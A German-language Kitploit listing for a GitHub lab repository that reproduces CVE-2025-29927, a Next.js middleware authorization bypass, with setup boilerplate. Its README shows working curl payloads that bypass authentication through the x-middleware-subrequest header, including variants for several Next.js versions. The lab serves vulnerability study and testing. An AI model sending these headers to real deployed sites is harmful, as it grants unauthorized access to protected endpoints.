Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
vulnerable-nextjs-14-CVE-2025-29927 — Nicht verwenden. Verwundbar. | Kitploit
Tools/GitHubGitHub/adjscent/vulnerable-nextjs-14-cve-2025-29927
Authentifizierung & AutorisierungSchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubadjscent/vulnerable-nextjs-14-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

Nicht verwenden. Verwundbar.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
5vor 11 MonatenNoch nicht geprüft

CVE-2025-29927 Reproduktion der Autorisierungsumgehung

Dieses Repository ist eine Reproduktion der CVE-2025-29927 Schwachstelle im Paket next

So wird es reproduziert

  1. Befolge die folgenden Schritte, um die Next.js-Anwendung zu klonen und auszuführen
  2. Teste, dass die Autorisierung den Zugriff auf den Endpunkt /api/hello verweigert
root@kitploit:~
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. Teste, dass die Autorisierung funktioniert, wenn ein Token bereitgestellt wird
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. Sie kann nun auch umgangen werden, wenn wir middleware 5-mal in den speziellen x-middleware-subrequest-Header verschachteln:
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

Ausnutzung von CVE-2025-29927 bei älteren Next.js-Versionen

Next.js 12 und 13 verwendeten eine andere Namenskonvention für die Middleware-Datei (_middleware.js), die in Next.js 14 in middleware.js geändert wurde. Diese Schwachstelle kann in älteren Versionen durch die Verwendung der Datei _middleware.js ausgenutzt werden.

Zum Beispiel würden die folgenden Payloads gelten, abhängig von der Next.js-Version und deiner Routing-Konvention:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (für Next.js-Versionen 12.2 mit der Datei middleware.js im Stammverzeichnis der App, nicht innerhalb des Verzeichnisses pages)
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (für Next.js-Versionen 11 und bis 12.2)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

Erste Schritte

Starte zuerst den Entwicklungsserver:

root@kitploit:~
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Öffne http://localhost:3000 in deinem Browser, um das Ergebnis zu sehen.

Du kannst die Seite bearbeiten, indem du app/page.js änderst. Die Seite wird automatisch aktualisiert, während du die Datei bearbeitest.

Dieses Projekt verwendet next/font, um Geist, eine neue Schriftfamilie für Vercel, automatisch zu optimieren und zu laden.

Weitere Informationen

Um mehr über Next.js zu erfahren, wirf einen Blick auf die folgenden Ressourcen:

  • Next.js-Dokumentation – erfahre mehr über Next.js-Funktionen und die API.
  • Next.js lernen – ein interaktives Next.js-Tutorial.

Du kannst dir das Next.js-GitHub-Repository ansehen – dein Feedback und deine Beiträge sind willkommen!

Auf Vercel bereitstellen

Der einfachste Weg, deine Next.js-App bereitzustellen, ist die Nutzung der Vercel-Plattform der Entwickler von Next.js.

Weitere Details findest du in unserer Dokumentation zur Bereitstellung von Next.js.

Tool herunterladen